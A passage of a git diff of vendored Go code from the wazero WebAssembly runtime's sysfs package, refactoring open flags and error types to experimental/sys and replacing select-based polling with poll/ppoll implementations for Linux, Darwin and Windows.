inoFromFileInfo uses stat to get the inode information of the file. +func inoFromFileInfo(dirPath string, info fs.FileInfo) (ino sys.Inode, errno experimentalsys.Errno) { + if v, ok := info.Sys().(*sys.Stat_t); ok { + return v.Ino, 0 + } + if dirPath == "" { + // This is a FS.File backed implementation which doesn't have access to + // the original file path. + return + } + // Ino is no not in Win32FileAttributeData + inoPath := path.Clean(path.Join(dirPath, info.Name())) + var st sys.Stat_t + if st, errno = lstat(inoPath); errno == 0 { + ino = st.Ino + } + return +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_plan9.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_plan9.go new file mode 100644 index 0000000000..8e94e5922f --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_plan9.go @@ -0,0 +1,11 @@ +package sysfs + +import "github.com/tetratelabs/wazero/experimental/sys" + +func setNonblock(fd uintptr, enable bool) sys.Errno { + return sys.ENOSYS +} + +func isNonblock(f *osFile) bool { + return false +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_unix.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_unix.go index fdee885aa3..07fb15cf12 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_unix.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_unix.go @@ -1,17 +1,17 @@ -//go:build !windows +//go:build !windows && !plan9 package sysfs import ( "syscall" - "github.com/tetratelabs/wazero/internal/fsapi" + "github.com/tetratelabs/wazero/experimental/sys" ) -func setNonblock(fd uintptr, enable bool) error { - return syscall.SetNonblock(int(fd), enable) +func setNonblock(fd uintptr, enable bool) sys.Errno { + return sys.UnwrapOSError(syscall.SetNonblock(int(fd), enable)) } func isNonblock(f *osFile) bool { - return f.flag&fsapi.O_NONBLOCK == fsapi.O_NONBLOCK + return f.flag&sys.O_NONBLOCK == sys.O_NONBLOCK } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_windows.go index 3acbf2721f..eb38ea5afa 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/nonblock_windows.go @@ -1,17 +1,15 @@ -//go:build windows - package sysfs import ( "io/fs" "syscall" - "github.com/tetratelabs/wazero/internal/fsapi" + "github.com/tetratelabs/wazero/experimental/sys" ) -func setNonblock(fd uintptr, enable bool) error { +func setNonblock(fd uintptr, enable bool) sys.Errno { // We invoke the syscall, but this is currently no-op. - return syscall.SetNonblock(syscall.Handle(fd), enable) + return sys.UnwrapOSError(syscall.SetNonblock(syscall.Handle(fd), enable)) } func isNonblock(f *osFile) bool { @@ -21,5 +19,5 @@ func isNonblock(f *osFile) bool { if errno == 0 { isValid = st.Mode&fs.ModeNamedPipe != 0 } - return isValid && f.flag&fsapi.O_NONBLOCK == fsapi.O_NONBLOCK + return isValid && f.flag&sys.O_NONBLOCK == sys.O_NONBLOCK } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/oflag.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/oflag.go index e6c3b06c28..be6d2c35f6 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/oflag.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/oflag.go @@ -3,35 +3,35 @@ package sysfs import ( "os" - "github.com/tetratelabs/wazero/internal/fsapi" + "github.com/tetratelabs/wazero/experimental/sys" ) // toOsOpenFlag converts the input to the flag parameter of os.OpenFile -func toOsOpenFlag(oflag fsapi.Oflag) (flag int) { +func toOsOpenFlag(oflag sys.Oflag) (flag int) { // First flags are exclusive - switch oflag & (fsapi.O_RDONLY | fsapi.O_RDWR | fsapi.O_WRONLY) { - case fsapi.O_RDONLY: + switch oflag & (sys.O_RDONLY | sys.O_RDWR | sys.O_WRONLY) { + case sys.O_RDONLY: flag |= os.O_RDONLY - case fsapi.O_RDWR: + case sys.O_RDWR: flag |= os.O_RDWR - case fsapi.O_WRONLY: + case sys.O_WRONLY: flag |= os.O_WRONLY } // Run down the flags defined in the os package - if oflag&fsapi.O_APPEND != 0 { + if oflag&sys.O_APPEND != 0 { flag |= os.O_APPEND } - if oflag&fsapi.O_CREAT != 0 { + if oflag&sys.O_CREAT != 0 { flag |= os.O_CREATE } - if oflag&fsapi.O_EXCL != 0 { + if oflag&sys.O_EXCL != 0 { flag |= os.O_EXCL } - if oflag&fsapi.O_SYNC != 0 { + if oflag&sys.O_SYNC != 0 { flag |= os.O_SYNC } - if oflag&fsapi.O_TRUNC != 0 { + if oflag&sys.O_TRUNC != 0 { flag |= os.O_TRUNC } return withSyscallOflag(oflag, flag) diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_darwin.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_darwin.go index 82275393b5..a4f54ca2cc 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_darwin.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_darwin.go @@ -3,22 +3,22 @@ package sysfs import ( "syscall" - "github.com/tetratelabs/wazero/internal/fsapi" + "github.com/tetratelabs/wazero/experimental/sys" ) -const supportedSyscallOflag = fsapi.O_DIRECTORY | fsapi.O_DSYNC | fsapi.O_NOFOLLOW | fsapi.O_NONBLOCK +const supportedSyscallOflag = sys.O_DIRECTORY | sys.O_DSYNC | sys.O_NOFOLLOW | sys.O_NONBLOCK -func withSyscallOflag(oflag fsapi.Oflag, flag int) int { - if oflag&fsapi.O_DIRECTORY != 0 { +func withSyscallOflag(oflag sys.Oflag, flag int) int { + if oflag&sys.O_DIRECTORY != 0 { flag |= syscall.O_DIRECTORY } - if oflag&fsapi.O_DSYNC != 0 { + if oflag&sys.O_DSYNC != 0 { flag |= syscall.O_DSYNC } - if oflag&fsapi.O_NOFOLLOW != 0 { + if oflag&sys.O_NOFOLLOW != 0 { flag |= syscall.O_NOFOLLOW } - if oflag&fsapi.O_NONBLOCK != 0 { + if oflag&sys.O_NONBLOCK != 0 { flag |= syscall.O_NONBLOCK } // syscall.O_RSYNC not defined on darwin diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_freebsd.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_freebsd.go index e91da95dfa..42adaa2140 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_freebsd.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_freebsd.go @@ -3,20 +3,20 @@ package sysfs import ( "syscall" - "github.com/tetratelabs/wazero/internal/fsapi" + "github.com/tetratelabs/wazero/experimental/sys" ) -const supportedSyscallOflag = fsapi.O_DIRECTORY | fsapi.O_NOFOLLOW | fsapi.O_NONBLOCK +const supportedSyscallOflag = sys.O_DIRECTORY | sys.O_NOFOLLOW | sys.O_NONBLOCK -func withSyscallOflag(oflag fsapi.Oflag, flag int) int { - if oflag&fsapi.O_DIRECTORY != 0 { +func withSyscallOflag(oflag sys.Oflag, flag int) int { + if oflag&sys.O_DIRECTORY != 0 { flag |= syscall.O_DIRECTORY } // syscall.O_DSYNC not defined on darwin - if oflag&fsapi.O_NOFOLLOW != 0 { + if oflag&sys.O_NOFOLLOW != 0 { flag |= syscall.O_NOFOLLOW } - if oflag&fsapi.O_NONBLOCK != 0 { + if oflag&sys.O_NONBLOCK != 0 { flag |= syscall.O_NONBLOCK } // syscall.O_RSYNC not defined on darwin diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_linux.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_linux.go index bfa9a23e19..7f4915480c 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_linux.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_linux.go @@ -3,25 +3,25 @@ package sysfs import ( "syscall" - "github.com/tetratelabs/wazero/internal/fsapi" + "github.com/tetratelabs/wazero/experimental/sys" ) -const supportedSyscallOflag = fsapi.O_DIRECTORY | fsapi.O_DSYNC | fsapi.O_NOFOLLOW | fsapi.O_NONBLOCK | fsapi.O_RSYNC +const supportedSyscallOflag = sys.O_DIRECTORY | sys.O_DSYNC | sys.O_NOFOLLOW | sys.O_NONBLOCK | sys.O_RSYNC -func withSyscallOflag(oflag fsapi.Oflag, flag int) int { - if oflag&fsapi.O_DIRECTORY != 0 { +func withSyscallOflag(oflag sys.Oflag, flag int) int { + if oflag&sys.O_DIRECTORY != 0 { flag |= syscall.O_DIRECTORY } - if oflag&fsapi.O_DSYNC != 0 { + if oflag&sys.O_DSYNC != 0 { flag |= syscall.O_DSYNC } - if oflag&fsapi.O_NOFOLLOW != 0 { + if oflag&sys.O_NOFOLLOW != 0 { flag |= syscall.O_NOFOLLOW } - if oflag&fsapi.O_NONBLOCK != 0 { + if oflag&sys.O_NONBLOCK != 0 { flag |= syscall.O_NONBLOCK } - if oflag&fsapi.O_RSYNC != 0 { + if oflag&sys.O_RSYNC != 0 { flag |= syscall.O_RSYNC } return flag diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_notwindows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_notwindows.go index 4e886fb550..9ae1e2bcdb 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_notwindows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_notwindows.go @@ -7,14 +7,13 @@ import ( "os" "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" ) -// openFile is like os.OpenFile except it accepts a fsapi.Oflag and returns +// openFile is like os.OpenFile except it accepts a sys.Oflag and returns // sys.Errno. A zero sys.Errno is success. -func openFile(path string, oflag fsapi.Oflag, perm fs.FileMode) (*os.File, sys.Errno) { +func openFile(path string, oflag sys.Oflag, perm fs.FileMode) (*os.File, sys.Errno) { f, err := os.OpenFile(path, toOsOpenFlag(oflag), perm) - // Note: This does not return a fsapi.File because fsapi.FS that returns + // Note: This does not return a sys.File because sys.FS that returns // one may want to hide the real OS path. For example, this is needed for // pre-opens. return f, sys.UnwrapOSError(err) diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_sun.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_sun.go index 6589ddac3f..bdf7dd84d2 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_sun.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_sun.go @@ -5,26 +5,26 @@ package sysfs import ( "syscall" - "github.com/tetratelabs/wazero/internal/fsapi" + "github.com/tetratelabs/wazero/experimental/sys" ) -const supportedSyscallOflag = fsapi.O_DIRECTORY | fsapi.O_DSYNC | fsapi.O_NOFOLLOW | fsapi.O_NONBLOCK | fsapi.O_RSYNC +const supportedSyscallOflag = sys.O_DIRECTORY | sys.O_DSYNC | sys.O_NOFOLLOW | sys.O_NONBLOCK | sys.O_RSYNC -func withSyscallOflag(oflag fsapi.Oflag, flag int) int { - if oflag&fsapi.O_DIRECTORY != 0 { +func withSyscallOflag(oflag sys.Oflag, flag int) int { + if oflag&sys.O_DIRECTORY != 0 { // See https://github.com/illumos/illumos-gate/blob/edd580643f2cf1434e252cd7779e83182ea84945/usr/src/uts/common/sys/fcntl.h#L90 flag |= 0x1000000 } - if oflag&fsapi.O_DSYNC != 0 { + if oflag&sys.O_DSYNC != 0 { flag |= syscall.O_DSYNC } - if oflag&fsapi.O_NOFOLLOW != 0 { + if oflag&sys.O_NOFOLLOW != 0 { flag |= syscall.O_NOFOLLOW } - if oflag&fsapi.O_NONBLOCK != 0 { + if oflag&sys.O_NONBLOCK != 0 { flag |= syscall.O_NONBLOCK } - if oflag&fsapi.O_RSYNC != 0 { + if oflag&sys.O_RSYNC != 0 { flag |= syscall.O_RSYNC } return flag diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_unsupported.go index 9b925949aa..9f7a6d0885 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_unsupported.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_unsupported.go @@ -2,11 +2,13 @@ package sysfs -import "github.com/tetratelabs/wazero/internal/fsapi" +import ( + "github.com/tetratelabs/wazero/experimental/sys" +) -const supportedSyscallOflag = fsapi.Oflag(0) +const supportedSyscallOflag = sys.Oflag(0) -func withSyscallOflag(oflag fsapi.Oflag, flag int) int { +func withSyscallOflag(oflag sys.Oflag, flag int) int { // O_DIRECTORY not defined // O_DSYNC not defined // O_NOFOLLOW not defined diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_windows.go index bc7a7f7d0c..bcfbfbcd6b 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_windows.go @@ -8,12 +8,11 @@ import ( "unsafe" "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" "github.com/tetratelabs/wazero/internal/platform" ) -func openFile(path string, oflag fsapi.Oflag, perm fs.FileMode) (*os.File, sys.Errno) { - isDir := oflag&fsapi.O_DIRECTORY > 0 +func openFile(path string, oflag sys.Oflag, perm fs.FileMode) (*os.File, sys.Errno) { + isDir := oflag&sys.O_DIRECTORY > 0 flag := toOsOpenFlag(oflag) // TODO: document why we are opening twice @@ -55,14 +54,14 @@ func openFile(path string, oflag fsapi.Oflag, perm fs.FileMode) (*os.File, sys.E return f, errno } -const supportedSyscallOflag = fsapi.O_NONBLOCK +const supportedSyscallOflag = sys.O_NONBLOCK // Map to synthetic values here https://github.com/golang/go/blob/go1.20/src/syscall/types_windows.go#L34-L48 -func withSyscallOflag(oflag fsapi.Oflag, flag int) int { +func withSyscallOflag(oflag sys.Oflag, flag int) int { // O_DIRECTORY not defined in windows // O_DSYNC not defined in windows // O_NOFOLLOW not defined in windows - if oflag&fsapi.O_NONBLOCK != 0 { + if oflag&sys.O_NONBLOCK != 0 { flag |= syscall.O_NONBLOCK } // O_RSYNC not defined in windows diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/osfile.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/osfile.go index e39c92566c..ac0df777a9 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/osfile.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/osfile.go @@ -5,16 +5,13 @@ import ( "io/fs" "os" "runtime" - "syscall" - "time" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/fsapi" - "github.com/tetratelabs/wazero/internal/platform" "github.com/tetratelabs/wazero/sys" ) -func newOsFile(path string, flag fsapi.Oflag, perm fs.FileMode, f *os.File) fsapi.File { +func newOsFile(path string, flag experimentalsys.Oflag, perm fs.FileMode, f *os.File) fsapi.File { // Windows cannot read files written to a directory after it was opened. // This was noticed in #1087 in zig tests. Use a flag instead of a // different type. @@ -26,7 +23,7 @@ func newOsFile(path string, flag fsapi.Oflag, perm fs.FileMode, f *os.File) fsap // implement api.File. type osFile struct { path string - flag fsapi.Oflag + flag experimentalsys.Oflag perm fs.FileMode file *os.File fd uintptr @@ -44,7 +41,7 @@ type osFile struct { cachedSt *cachedStat } -// cachedStat returns the cacheable parts of fsapi.Stat_t or an error if they +// cachedStat returns the cacheable parts of sys.Stat_t or an error if they // couldn't be retrieved. func (f *osFile) cachedStat() (dev uint64, ino sys.Inode, isDir bool, errno experimentalsys.Errno) { if f.cachedSt == nil { @@ -55,19 +52,19 @@ func (f *osFile) cachedStat() (dev uint64, ino sys.Inode, isDir bool, errno expe return f.cachedSt.dev, f.cachedSt.ino, f.cachedSt.isDir, 0 } -// Dev implements the same method as documented on fsapi.File +// Dev implements the same method as documented on sys.File func (f *osFile) Dev() (uint64, experimentalsys.Errno) { dev, _, _, errno := f.cachedStat() return dev, errno } -// Ino implements the same method as documented on fsapi.File +// Ino implements the same method as documented on sys.File func (f *osFile) Ino() (sys.Inode, experimentalsys.Errno) { _, ino, _, errno := f.cachedStat() return ino, errno } -// IsDir implements the same method as documented on fsapi.File +// IsDir implements the same method as documented on sys.File func (f *osFile) IsDir() (bool, experimentalsys.Errno) { _, _, isDir, errno := f.cachedStat() return isDir, errno @@ -75,19 +72,19 @@ func (f *osFile) IsDir() (bool, experimentalsys.Errno) { // IsAppend implements File.IsAppend func (f *osFile) IsAppend() bool { - return f.flag&fsapi.O_APPEND == fsapi.O_APPEND + return f.flag&experimentalsys.O_APPEND == experimentalsys.O_APPEND } -// SetAppend implements the same method as documented on fsapi.File +// SetAppend implements the same method as documented on sys.File func (f *osFile) SetAppend(enable bool) (errno experimentalsys.Errno) { if enable { - f.flag |= fsapi.O_APPEND + f.flag |= experimentalsys.O_APPEND } else { - f.flag &= ^fsapi.O_APPEND + f.flag &= ^experimentalsys.O_APPEND } // Clear any create flag, as we are re-opening, not re-creating. - f.flag &= ^fsapi.O_CREAT + f.flag &= ^experimentalsys.O_CREAT // appendMode (bool) cannot be changed later, so we have to re-open the // file. https://github.com/golang/go/blob/go1.20/src/os/file_unix.go#L60 @@ -99,7 +96,7 @@ var _ reopenFile = (*fsFile)(nil).reopen func (f *osFile) reopen() (errno experimentalsys.Errno) { // Clear any create flag, as we are re-opening, not re-creating. - f.flag &= ^fsapi.O_CREAT + f.flag &= ^experimentalsys.O_CREAT _ = f.close() f.file, errno = OpenFile(f.path, f.flag, f.perm) @@ -114,17 +111,17 @@ func (f *osFile) IsNonblock() bool { // SetNonblock implements the same method as documented on fsapi.File func (f *osFile) SetNonblock(enable bool) (errno experimentalsys.Errno) { if enable { - f.flag |= fsapi.O_NONBLOCK + f.flag |= experimentalsys.O_NONBLOCK } else { - f.flag &= ^fsapi.O_NONBLOCK + f.flag &= ^experimentalsys.O_NONBLOCK } - if err := setNonblock(f.fd, enable); err != nil { - return fileError(f, f.closed, experimentalsys.UnwrapOSError(err)) + if errno = setNonblock(f.fd, enable); errno != 0 { + return fileError(f, f.closed, errno) } return 0 } -// Stat implements the same method as documented on fsapi.File +// Stat implements the same method as documented on sys.File func (f *osFile) Stat() (sys.Stat_t, experimentalsys.Errno) { if f.closed { return sys.Stat_t{}, experimentalsys.EBADF @@ -140,7 +137,7 @@ func (f *osFile) Stat() (sys.Stat_t, experimentalsys.Errno) { return st, errno } -// Read implements the same method as documented on fsapi.File +// Read implements the same method as documented on sys.File func (f *osFile) Read(buf []byte) (n int, errno experimentalsys.Errno) { if len(buf) == 0 { return 0, 0 // Short-circuit 0-len reads. @@ -157,7 +154,7 @@ func (f *osFile) Read(buf []byte) (n int, errno experimentalsys.Errno) { return } -// Pread implements the same method as documented on fsapi.File +// Pread implements the same method as documented on sys.File func (f *osFile) Pread(buf []byte, off int64) (n int, errno experimentalsys.Errno) { if n, errno = pread(f.file, buf, off); errno != 0 { // Defer validation overhead until we've already had an error. @@ -166,7 +163,7 @@ func (f *osFile) Pread(buf []byte, off int64) (n int, errno experimentalsys.Errn return } -// Seek implements the same method as documented on fsapi.File +// Seek implements the same method as documented on sys.File func (f *osFile) Seek(offset int64, whence int) (newOffset int64, errno experimentalsys.Errno) { if newOffset, errno = seek(f.file, offset, whence); errno != 0 { // Defer validation overhead until we've already had an error. @@ -182,23 +179,14 @@ func (f *osFile) Seek(offset int64, whence int) (newOffset int64, errno experime return } -// PollRead implements the same method as documented on fsapi.File -func (f *osFile) PollRead(timeout *time.Duration) (ready bool, errno experimentalsys.Errno) { - fdSet := platform.FdSet{} - fd := int(f.fd) - fdSet.Set(fd) - nfds := fd + 1 // See https://man7.org/linux/man-pages/man2/select.2.html#:~:text=condition%20has%20occurred.-,nfds,-This%20argument%20should - count, err := _select(nfds, &fdSet, nil, nil, timeout) - if errno = experimentalsys.UnwrapOSError(err); errno != 0 { - // Defer validation overhead until we've already had an error. - errno = fileError(f, f.closed, errno) - } - return count > 0, errno +// Poll implements the same method as documented on fsapi.File +func (f *osFile) Poll(flag fsapi.Pflag, timeoutMillis int32) (ready bool, errno experimentalsys.Errno) { + return poll(f.fd, flag, timeoutMillis) } // Readdir implements File.Readdir. Notably, this uses "Readdir", not // "ReadDir", from os.File. -func (f *osFile) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.Errno) { +func (f *osFile) Readdir(n int) (dirents []experimentalsys.Dirent, errno experimentalsys.Errno) { if f.reopenDir { // re-open the directory if needed. f.reopenDir = false if errno = adjustReaddirErr(f, f.closed, f.reopen()); errno != 0 { @@ -212,7 +200,7 @@ func (f *osFile) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.E return } -// Write implements the same method as documented on fsapi.File +// Write implements the same method as documented on sys.File func (f *osFile) Write(buf []byte) (n int, errno experimentalsys.Errno) { if len(buf) == 0 { return 0, 0 // Short-circuit 0-len writes. @@ -226,7 +214,7 @@ func (f *osFile) Write(buf []byte) (n int, errno experimentalsys.Errno) { return } -// Pwrite implements the same method as documented on fsapi.File +// Pwrite implements the same method as documented on sys.File func (f *osFile) Pwrite(buf []byte, off int64) (n int, errno experimentalsys.Errno) { if n, errno = pwrite(f.file, buf, off); errno != 0 { // Defer validation overhead until we've already had an error. @@ -235,7 +223,7 @@ func (f *osFile) Pwrite(buf []byte, off int64) (n int, errno experimentalsys.Err return } -// Truncate implements the same method as documented on fsapi.File +// Truncate implements the same method as documented on sys.File func (f *osFile) Truncate(size int64) (errno experimentalsys.Errno) { if errno = experimentalsys.UnwrapOSError(f.file.Truncate(size)); errno != 0 { // Defer validation overhead until we've already had an error. @@ -244,27 +232,27 @@ func (f *osFile) Truncate(size int64) (errno experimentalsys.Errno) { return } -// Sync implements the same method as documented on fsapi.File +// Sync implements the same method as documented on sys.File func (f *osFile) Sync() experimentalsys.Errno { return fsync(f.file) } -// Datasync implements the same method as documented on fsapi.File +// Datasync implements the same method as documented on sys.File func (f *osFile) Datasync() experimentalsys.Errno { return datasync(f.file) } -// Utimens implements the same method as documented on fsapi.File -func (f *osFile) Utimens(times *[2]syscall.Timespec) experimentalsys.Errno { +// Utimens implements the same method as documented on sys.File +func (f *osFile) Utimens(atim, mtim int64) experimentalsys.Errno { if f.closed { return experimentalsys.EBADF } - err := futimens(f.fd, times) + err := futimens(f.fd, atim, mtim) return experimentalsys.UnwrapOSError(err) } -// Close implements the same method as documented on fsapi.File +// Close implements the same method as documented on sys.File func (f *osFile) Close() experimentalsys.Errno { if f.closed { return 0 diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll.go new file mode 100644 index 0000000000..f5c9829529 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll.go @@ -0,0 +1,18 @@ +//go:build windows || linux || darwin + +package sysfs + +import ( + "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/internal/fsapi" +) + +// poll implements `Poll` as documented on sys.File via a file descriptor. +func poll(fd uintptr, flag fsapi.Pflag, timeoutMillis int32) (ready bool, errno sys.Errno) { + if flag != fsapi.POLLIN { + return false, sys.ENOTSUP + } + fds := []pollFd{newPollFd(fd, _POLLIN, 0)} + count, errno := _poll(fds, timeoutMillis) + return count > 0, errno +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_darwin.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_darwin.go new file mode 100644 index 0000000000..1f7f890937 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_darwin.go @@ -0,0 +1,55 @@ +package sysfs + +import ( + "unsafe" + + "github.com/tetratelabs/wazero/experimental/sys" +) + +// pollFd is the struct to query for file descriptor events using poll. +type pollFd struct { + // fd is the file descriptor. + fd int32 + // events is a bitmap containing the requested events. + events int16 + // revents is a bitmap containing the returned events. + revents int16 +} + +// newPollFd is a constructor for pollFd that abstracts the platform-specific type of file descriptors. +func newPollFd(fd uintptr, events, revents int16) pollFd { + return pollFd{fd: int32(fd), events: events, revents: revents} +} + +// _POLLIN subscribes a notification when any readable data is available. +const _POLLIN = 0x0001 + +// _poll implements poll on Darwin via the corresponding libc function. +func _poll(fds []pollFd, timeoutMillis int32) (n int, errno sys.Errno) { + var fdptr *pollFd + nfds := len(fds) + if nfds > 0 { + fdptr = &fds[0] + } + n1, _, err := syscall_syscall6( + libc_poll_trampoline_addr, + uintptr(unsafe.Pointer(fdptr)), + uintptr(nfds), + uintptr(int(timeoutMillis)), + uintptr(unsafe.Pointer(nil)), + uintptr(unsafe.Pointer(nil)), + uintptr(unsafe.Pointer(nil))) + return int(n1), sys.UnwrapOSError(err) +} + +// libc_poll_trampoline_addr is the address of the +// `libc_poll_trampoline` symbol, defined in `poll_darwin.s`. +// +// We use this to invoke the syscall through syscall_syscall6 imported below. +var libc_poll_trampoline_addr uintptr + +// Imports the select symbol from libc as `libc_poll`. +// +// Note: CGO mechanisms are used in darwin regardless of the CGO_ENABLED value +// or the "cgo" build flag. See /RATIONALE.md for why. +//go:cgo_import_dynamic libc_poll poll "/usr/lib/libSystem.B.dylib" diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_darwin.s b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_darwin.s new file mode 100644 index 0000000000..e04fca583b --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_darwin.s @@ -0,0 +1,8 @@ +// lifted from golang.org/x/sys unix +#include "textflag.h" + +TEXT libc_poll_trampoline<>(SB), NOSPLIT, $0-0 + JMP libc_poll(SB) + +GLOBL ·libc_poll_trampoline_addr(SB), RODATA, $8 +DATA ·libc_poll_trampoline_addr(SB)/8, $libc_poll_trampoline<>(SB) diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_linux.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_linux.go new file mode 100644 index 0000000000..dab7bb2cab --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_linux.go @@ -0,0 +1,57 @@ +package sysfs + +import ( + "syscall" + "time" + "unsafe" + + "github.com/tetratelabs/wazero/experimental/sys" +) + +// pollFd is the struct to query for file descriptor events using poll. +type pollFd struct { + // fd is the file descriptor. + fd int32 + // events is a bitmap containing the requested events. + events int16 + // revents is a bitmap containing the returned events. + revents int16 +} + +// newPollFd is a constructor for pollFd that abstracts the platform-specific type of file descriptors. +func newPollFd(fd uintptr, events, revents int16) pollFd { + return pollFd{fd: int32(fd), events: events, revents: revents} +} + +// _POLLIN subscribes a notification when any readable data is available. +const _POLLIN = 0x0001 + +// _poll implements poll on Linux via ppoll. +func _poll(fds []pollFd, timeoutMillis int32) (n int, errno sys.Errno) { + var ts syscall.Timespec + if timeoutMillis >= 0 { + ts = syscall.NsecToTimespec(int64(time.Duration(timeoutMillis) * time.Millisecond)) + } + return ppoll(fds, &ts) +} + +// ppoll is a poll variant that allows to subscribe to a mask of signals. +// However, we do not need such mask, so the corresponding argument is always nil. +func ppoll(fds []pollFd, timespec *syscall.Timespec) (n int, err sys.Errno) { + var fdptr *pollFd + nfd := len(fds) + if nfd != 0 { + fdptr = &fds[0] + } + + n1, _, errno := syscall.Syscall6( + uintptr(syscall.SYS_PPOLL), + uintptr(unsafe.Pointer(fdptr)), + uintptr(nfd), + uintptr(unsafe.Pointer(timespec)), + uintptr(unsafe.Pointer(nil)), // sigmask is currently always ignored + uintptr(unsafe.Pointer(nil)), + uintptr(unsafe.Pointer(nil))) + + return int(n1), sys.UnwrapOSError(errno) +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_unsupported.go new file mode 100644 index 0000000000..ebe8a6fa92 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_unsupported.go @@ -0,0 +1,13 @@ +//go:build !linux && !darwin && !windows + +package sysfs + +import ( + "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/internal/fsapi" +) + +// poll implements `Poll` as documented on fsapi.File via a file descriptor. +func poll(uintptr, fsapi.Pflag, int32) (bool, sys.Errno) { + return false, sys.ENOSYS +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_windows.go new file mode 100644 index 0000000000..82c8b2bafd --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_windows.go @@ -0,0 +1,224 @@ +package sysfs + +import ( + "syscall" + "time" + "unsafe" + + "github.com/tetratelabs/wazero/experimental/sys" +) + +var ( + procWSAPoll = modws2_32.NewProc("WSAPoll") + procGetNamedPipeInfo = kernel32.NewProc("GetNamedPipeInfo") +) + +const ( + // _POLLRDNORM subscribes to normal data for read. + _POLLRDNORM = 0x0100 + // _POLLRDBAND subscribes to priority band (out-of-band) data for read. + _POLLRDBAND = 0x0200 + // _POLLIN subscribes a notification when any readable data is available. + _POLLIN = (_POLLRDNORM | _POLLRDBAND) +) + +// pollFd is the struct to query for file descriptor events using poll. +type pollFd struct { + // fd is the file descriptor. + fd uintptr + // events is a bitmap containing the requested events. + events int16 + // revents is a bitmap containing the returned events. + revents int16 +} + +// newPollFd is a constructor for pollFd that abstracts the platform-specific type of file descriptors. +func newPollFd(fd uintptr, events, revents int16) pollFd { + return pollFd{fd: fd, events: events, revents: revents} +} + +// pollInterval 